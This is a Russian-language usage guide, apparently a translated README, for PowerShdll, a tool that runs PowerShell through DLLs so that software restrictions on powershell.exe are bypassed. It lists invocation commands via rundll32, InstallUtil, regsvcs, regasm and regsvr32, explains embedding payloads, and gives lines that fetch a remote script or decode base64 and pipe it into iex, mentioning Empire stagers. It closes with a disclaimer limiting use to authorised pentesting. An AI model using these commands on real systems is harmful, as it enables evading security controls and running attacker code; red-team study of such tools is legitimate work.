
Запуск PowerShell с помощью rundll32. Обход ограничений программного обеспечения.
Запуск PowerShell только с помощью DLL.
Не требует доступа к powershell.exe, так как использует DLL-библиотеки автоматизации PowerShell.
PowerShdll может быть запущен с помощью: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe или как автономный исполняемый файл.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
Полезные нагрузки могут быть встроены путем изменения переменной "payload" в методе start файла common.cs. Если полезная нагрузка встроена, все остальные аргументы будут проигнорированы, и полезная нагрузка будет выполнена при запуске PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Примечание: Стагеры Empire необходимо декодировать с помощью [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Некоторые ошибки не отображаются в выводе. Это может сбивать с толку, так как такие команды, как Import-Module, не выводят ошибку при сбое. Убедитесь, что вы правильно ввели команды.
В режиме dll интерактивный режим и вывод команд зависят от перехвата консоли родительского процесса. Если у родительского процесса нет консоли, используйте флаг -n, чтобы не показывать вывод, иначе приложение аварийно завершится.
Из-за того, как Rundll32 обрабатывает аргументы, использование нескольких пробелов между ключами и аргументами может вызвать проблемы. Несколько пробелов внутри скриптов допустимы.
Этот проект предназначен для исследователей безопасности и пентестеров и должен использоваться только с разрешения владельцев системы.